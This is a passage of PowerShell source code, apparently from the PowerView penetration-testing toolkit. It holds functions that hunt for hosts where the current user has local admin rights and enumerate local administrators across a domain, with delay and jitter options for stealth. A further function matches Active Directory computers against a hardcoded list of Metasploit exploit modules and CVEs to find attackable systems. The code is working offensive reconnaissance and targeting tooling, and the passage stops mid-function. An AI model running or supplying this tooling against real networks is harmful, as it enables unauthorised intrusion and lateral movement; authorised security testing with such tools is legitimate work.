10179 PS C:\> Find-LocalAdminAccess
10180 Find machines on the local domain where the current user has local
10181 administrator access.
10182 .EXAMPLE
10183 PS C:\> Find-LocalAdminAccess -Threads 10
10184 Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded.
10185 .EXAMPLE
10186 PS C:\> Find-LocalAdminAccess -Domain testing
10187 Find machines on the 'testing' domain where the current user has
10188 local administrator access.
10189 .EXAMPLE
10190 PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt
10191 Find which machines in the host list the current user has local
10192 administrator access.
10193 .LINK
10194 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
10195 http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/
10196#>
10197
10198 [CmdletBinding()]
10199 param(
10200 [Parameter(Position=0,ValueFromPipeline=$True)]
10201 [Alias('Hosts')]
10202 [String[]]
10203 $ComputerName,
10204
10205 [ValidateScript({Test-Path -Path $_ })]
10206 [Alias('HostList')]
10207 [String]
10208 $ComputerFile,
10209
10210 [String]
10211 $ComputerFilter,
10212
10213 [String]
10214 $ComputerADSpath,
10215
10216 [Switch]
10217 $NoPing,
10218
10219 [UInt32]
10220 $Delay = 0,
10221
10222 [Double]
10223 $Jitter = .3,
10224
10225 [String]
10226 $Domain,
10227
10228 [String]
10229 $DomainController,
10230
10231 [Switch]
10232 $SearchForest,
10233
10234 [ValidateRange(1,100)]
10235 [Int]
10236 $Threads
10237 )
10238
10239 begin {
10240 if ($PSBoundParameters['Debug']) {
10241 $DebugPreference = 'Continue'
10242 }
10243
10244 # random object for delay
10245 $RandNo = New-Object System.Random
10246
10247 Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay"
10248
10249 # if we're using a host list, read the targets in and add them to the target list
10250 if($ComputerFile) {
10251 $ComputerName = Get-Content -Path $ComputerFile
10252 }
10253
10254 if(!$ComputerName) {
10255 [array]$ComputerName = @()
10256
10257 if($Domain) {
10258 $TargetDomains = @($Domain)
10259 }
10260 elseif($SearchForest) {
10261 # get ALL the domains in the forest to search
10262 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
10263 }
10264 else {
10265 # use the local domain
10266 $TargetDomains = @( (Get-NetDomain).name )
10267 }
10268
10269 ForEach ($Domain in $TargetDomains) {
10270 Write-Verbose "[*] Querying domain $Domain for hosts"
10271 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
10272 }
10273
10274 # remove any null target hosts, uniquify the list and shuffle it
10275 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
10276 if($($ComputerName.Count) -eq 0) {
10277 throw "No hosts found!"
10278 }
10279 }
10280
10281 # script block that enumerates a server
10282 $HostEnumBlock = {
10283 param($ComputerName, $Ping)
10284
10285 $Up = $True
10286 if($Ping) {
10287 $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
10288 }
10289 if($Up) {
10290 # check if the current user has local admin access to this server
10291 $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName
10292 if ($Access.IsAdmin) {
10293 $ComputerName
10294 }
10295 }
10296 }
10297
10298 }
10299
10300 process {
10301
10302 if($Threads) {
10303 Write-Verbose "Using threading with threads = $Threads"
10304
10305 # if we're using threading, kick off the script block with Invoke-ThreadedFunction
10306 $ScriptParams = @{
10307 'Ping' = $(-not $NoPing)
10308 }
10309
10310 # kick off the threaded script block + arguments
10311 Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
10312 }
10313
10314 else {
10315 if(-not $NoPing -and ($ComputerName.count -ne 1)) {
10316 # ping all hosts in parallel
10317 $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
10318 $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
10319 }
10320
10321 Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
10322 $Counter = 0
10323
10324 ForEach ($Computer in $ComputerName) {
10325
10326 $Counter = $Counter + 1
10327
10328 # sleep for our semi-randomized interval
10329 Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
10330
10331 Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
10332 Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False
10333 }
10334 }
10335 }
10336}
10337
10338
10339function Get-ExploitableSystem {
10340<#
10341 .Synopsis
10342 This module will query Active Directory for the hostname, OS version, and service pack level
10343 for each computer account. That information is then cross-referenced against a list of common
10344 Metasploit exploits that can be used during penetration testing.
10345 .DESCRIPTION
10346 This module will query Active Directory for the hostname, OS version, and service pack level
10347 for each computer account. That information is then cross-referenced against a list of common
10348 Metasploit exploits that can be used during penetration testing. The script filters out disabled
10349 domain computers and provides the computer's last logon time to help determine if it's been
10350 decommissioned. Also, since the script uses data tables to output affected systems the results
10351 can be easily piped to other commands such as test-connection or a Export-Csv.
10352 .PARAMETER ComputerName
10353 Return computers with a specific name, wildcards accepted.
10354 .PARAMETER SPN
10355 Return computers with a specific service principal name, wildcards accepted.
10356 .PARAMETER OperatingSystem
10357 Return computers with a specific operating system, wildcards accepted.
10358 .PARAMETER ServicePack
10359 Return computers with a specific service pack, wildcards accepted.
10360 .PARAMETER Filter
10361 A customized ldap filter string to use, e.g. "(description=*admin*)"
10362 .PARAMETER Ping
10363 Switch. Ping each host to ensure it's up before enumerating.
10364 .PARAMETER Domain
10365 The domain to query for computers, defaults to the current domain.
10366 .PARAMETER DomainController
10367 Domain controller to reflect LDAP queries through.
10368 .PARAMETER ADSpath
10369 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10370 Useful for OU queries.
10371 .PARAMETER Unconstrained
10372 Switch. Return computer objects that have unconstrained delegation.
10373 .PARAMETER PageSize
10374 The PageSize to set for the LDAP searcher object.
10375 .PARAMETER Credential
10376 A [Management.Automation.PSCredential] object of alternate credentials
10377 for connection to the target domain.
10378 .EXAMPLE
10379
10380 The example below shows the standard command usage. Disabled system are excluded by default, but
10381 the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't
10382 logged on for two or more weeks it's been decommissioned.
10383 PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize
10384 [*] Grabbing computer accounts from Active Directory...
10385 [*] Loading exploit list for critical missing patches...
10386 [*] Checking computers for vulnerable OS and SP levels...
10387 [+] Found 5 potentially vulnerable systems!
10388 ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE
10389 ------------ --------------- ----------- --------- --------- ---
10390 ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
10391 ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
10392 ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
10393 LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
10394 LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
10395 LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
10396 assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
10397 assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
10398 HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
10399 HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
10400 HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
10401 DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....
10402 DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails....
10403 DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails....
10404 .EXAMPLE
10405 PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation
10406 How to write the output to a csv file.
10407 .EXAMPLE
10408 PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping
10409 Return a set of live hosts from the testlab.local domain
10410 .LINK
10411
10412 http://www.netspi.com
10413 https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1
10414
10415 .NOTES
10416
10417 Author: Scott Sutherland - 2015, NetSPI
10418 Modifications to integrate into PowerView by @harmj0y
10419 Version: Get-ExploitableSystem.psm1 v1.1
10420 Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"
10421 function found in Carols Perez's PoshSec-Mod project. The general idea is based off of
10422 Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.
10423#>
10424 [CmdletBinding()]
10425 Param(
10426 [Parameter(ValueFromPipeline=$True)]
10427 [Alias('HostName')]
10428 [String]
10429 $ComputerName = '*',
10430
10431 [String]
10432 $SPN,
10433
10434 [String]
10435 $OperatingSystem = '*',
10436
10437 [String]
10438 $ServicePack = '*',
10439
10440 [String]
10441 $Filter,
10442
10443 [Switch]
10444 $Ping,
10445
10446 [String]
10447 $Domain,
10448
10449 [String]
10450 $DomainController,
10451
10452 [String]
10453 $ADSpath,
10454
10455 [Switch]
10456 $Unconstrained,
10457
10458 [ValidateRange(1,10000)]
10459 [Int]
10460 $PageSize = 200,
10461
10462 [Management.Automation.PSCredential]
10463 $Credential
10464 )
10465
10466 Write-Verbose "[*] Grabbing computer accounts from Active Directory..."
10467
10468 # Create data table for hostnames, os, and service packs from LDAP
10469 $TableAdsComputers = New-Object System.Data.DataTable
10470 $Null = $TableAdsComputers.Columns.Add('Hostname')
10471 $Null = $TableAdsComputers.Columns.Add('OperatingSystem')
10472 $Null = $TableAdsComputers.Columns.Add('ServicePack')
10473 $Null = $TableAdsComputers.Columns.Add('LastLogon')
10474
10475 Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {
10476
10477 $CurrentHost = $_.dnshostname
10478 $CurrentOs = $_.operatingsystem
10479 $CurrentSp = $_.operatingsystemservicepack
10480 $CurrentLast = $_.lastlogon
10481 $CurrentUac = $_.useraccountcontrol
10482
10483 $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2)
10484
10485 # Check the 2nd to last value to determine if its disabled
10486 $DisableOffset = $CurrentUacBin.Length - 2
10487 $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)
10488
10489 # Add computer to list if it's enabled
10490 if ($CurrentDisabled -eq 0) {
10491 # Add domain computer to data table
10492 $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)
10493 }
10494 }
10495
10496 # Status user
10497 Write-Verbose "[*] Loading exploit list for critical missing patches..."
10498
10499 # ----------------------------------------------------------------
10500 # Setup data table for list of msf exploits
10501 # ----------------------------------------------------------------
10502
10503 # Create data table for list of patches levels with a MSF exploit
10504 $TableExploits = New-Object System.Data.DataTable
10505 $Null = $TableExploits.Columns.Add('OperatingSystem')
10506 $Null = $TableExploits.Columns.Add('ServicePack')
10507 $Null = $TableExploits.Columns.Add('MsfModule')
10508 $Null = $TableExploits.Columns.Add('CVE')
10509
10510 # Add exploits to data table
10511 $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10512 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10513 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10514 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
10515 $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10516 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10517 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10518 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
10519 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
10520 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10521 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10522 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10523 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
10524 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10525 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10526 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10527 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
10528 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
10529 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
10530 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
10531 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
10532 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
10533 $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10534 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10535 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10536 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109")
10537 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
10538 $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10539 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
10540 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
10541 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
10542 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
10543 $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10544 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748")
10545 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
10546 $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10547 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10548 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
10549 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
10550 $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10551 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10552 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
10553 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
10554 $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/")
10555 $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
10556 $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10557 $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
10558 $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10559 $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10560 $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
10561 $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10562 $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
10563 $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10564 $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103")
10565 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10566 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10567 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/")
10568 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983")
10569 $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
10570 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10571 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
10572 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688")
10573 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691")
10574 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
10575 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10576 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
10577 $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729")
10578 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/")
10579 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059")
10580 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439")
10581 $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250")
10582
10583 # Status user
10584 Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..."
10585
10586 # ----------------------------------------------------------------
10587 # Setup data table to store vulnerable systems
10588 # ----------------------------------------------------------------
10589
10590 # Create data table to house vulnerable server list
10591 $TableVulnComputers = New-Object System.Data.DataTable
10592 $Null = $TableVulnComputers.Columns.Add('ComputerName')
10593 $Null = $TableVulnComputers.Columns.Add('OperatingSystem')
10594 $Null = $TableVulnComputers.Columns.Add('ServicePack')
10595 $Null = $TableVulnComputers.Columns.Add('LastLogon')
10596 $Null = $TableVulnComputers.Columns.Add('MsfModule')
10597 $Null = $TableVulnComputers.Columns.Add('CVE')
10598
10599 # Iterate through each exploit
10600 $TableExploits | ForEach-Object {
10601
10602 $ExploitOS = $_.OperatingSystem
10603 $ExploitSP = $_.ServicePack
10604 $ExploitMsf = $_.MsfModule
10605 $ExploitCVE = $_.CVE
10606
10607 # Iterate through each ADS computer
10608 $TableAdsComputers | ForEach-Object {
10609
10610 $AdsHostname = $_.Hostname
10611 $AdsOS = $_.OperatingSystem
10612 $AdsSP = $_.ServicePack
10613 $AdsLast = $_.LastLogon
10614
10615 # Add exploitable systems to vul computers data table
10616 if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) {
10617 # Add domain computer to data table
10618 $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)
10619 }
10620 }
10621 }
10622
10623 # Display results
10624 $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object
10625 $VulnComputerCount = $VulnComputer.Count
10626
10627 if ($VulnComputer.Count -gt 0) {
10628 # Return vulnerable server list order with some hack date casting
10629 Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"
10630 $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
10631 }
10632 else {
10633 Write-Verbose "[-] No vulnerable systems were found."
10634 }
10635}
10636
10637
10638function Invoke-EnumerateLocalAdmin {
10639<#
10640 .SYNOPSIS
10641 This function queries the domain for all active machines with
10642 Get-NetComputer, then for each server it queries the local
10643 Administrators with Get-NetLocalGroup.
10644 Author: @harmj0y
10645 License: BSD 3-Clause
10646 .PARAMETER ComputerName
10647 Host array to enumerate, passable on the pipeline.
10648 .PARAMETER ComputerFile
10649 File of hostnames/IPs to search.
10650 .PARAMETER ComputerFilter
10651 Host filter name to query AD for, wildcards accepted.
10652 .PARAMETER ComputerADSpath
10653 The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
10654 Useful for OU queries.
10655 .PARAMETER NoPing
10656 Switch. Don't ping each host to ensure it's up before enumerating.
10657 .PARAMETER Delay
10658 Delay between enumerating hosts, defaults to 0
10659 .PARAMETER Jitter
10660 Jitter for the host delay, defaults to +/- 0.3
10661 .PARAMETER OutFile
10662 Output results to a specified csv output file.
10663 .PARAMETER NoClobber
10664 Switch. Don't overwrite any existing output file.
10665 .PARAMETER TrustGroups
10666 Switch. Only return results that are not part of the local machine
10667 or the machine's domain. Old Invoke-EnumerateLocalTrustGroup
10668 functionality.
10669
10670 .PARAMETER DomainOnly
10671 Switch. Only return domain (non-local) results
10672 .PARAMETER Domain
10673 Domain to query for machines, defaults to the current domain.
10674
10675 .PARAMETER DomainController
10676 Domain controller to reflect LDAP queries through.
10677 .PARAMETER SearchForest
10678 Switch. Search all domains in the forest for target users instead of just
10679 a single domain.
10680 .PARAMETER API
10681 Switch. Use API calls instead of the WinNT service provider. Less information,
10682 but the results are faster.
10683 .PARAMETER Threads
10684 The maximum concurrent threads to execute.
10685 .EXAMPLE
10686 PS C:\> Invoke-EnumerateLocalAdmin
10687 Enumerates the members of local administrators for all machines
10688 in the current domain.
10689 .EXAMPLE
10690 PS C:\> Invoke-EnumerateLocalAdmin -Threads 10
10691 Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded
10692 .LINK
10693 http://blog.harmj0y.net/
10694#>
10695
10696 [CmdletBinding()]
10697 param(
10698 [Parameter(Position=0,ValueFromPipeline=$True)]
10699 [Alias('Hosts')]
10700 [String[]]
10701 $ComputerName,
10702
10703 [ValidateScript({Test-Path -Path $_ })]
10704 [Alias('HostList')]
10705 [String]
10706 $ComputerFile,
10707
10708 [String]
10709 $ComputerFilter,
10710
10711 [String]
10712 $ComputerADSpath,
10713
10714 [Switch]
10715 $NoPing,
10716
10717 [UInt32]
10718 $Delay = 0,
10719
10720 [Double]
10721 $Jitter = .3,
10722
10723 [String]
10724 $OutFile,
10725
10726 [Switch]
10727 $NoClobber,
10728
10729 [Switch]
10730 $TrustGroups,
10731
10732 [Switch]
10733 $DomainOnly,
10734
10735 [String]
10736 $Domain,
10737
10738 [String]
10739 $DomainController,
10740
10741 [Switch]
10742 $SearchForest,
10743
10744 [ValidateRange(1,100)]
10745 [Int]
10746 $Threads,
10747
10748 [Switch]
10749 $API
10750 )
10751
10752 begin {
10753 if ($PSBoundParameters['Debug']) {
10754 $DebugPreference = 'Continue'
10755 }
10756
10757 # random object for delay
10758 $RandNo = New-Object System.Random
10759
10760 Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay"
10761
10762 # if we're using a host list, read the targets in and add them to the target list
10763 if($ComputerFile) {
10764 $ComputerName = Get-Content -Path $ComputerFile
10765 }
10766
10767 if(!$ComputerName) {
10768 [array]$ComputerName = @()
10769
10770 if($Domain) {
10771 $TargetDomains = @($Domain)
10772 }
10773 elseif($SearchForest) {
10774 # get ALL the domains in the forest to search
10775 $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
10776 }
10777 else {
10778 # use the local domain
10779 $TargetDomains = @( (Get-NetDomain).name )
10780 }
10781
10782 ForEach ($Domain in $TargetDomains) {
10783 Write-Verbose "[*] Querying domain $Domain for hosts"
10784 $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
10785 }
10786
10787 # remove any null target hosts, uniquify the list and shuffle it
10788 $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
10789 if($($ComputerName.Count) -eq 0) {
10790 throw "No hosts found!"
10791 }
10792 }
10793
10794 # delete any existing output file if it already exists
10795 if(!$NoClobber) {
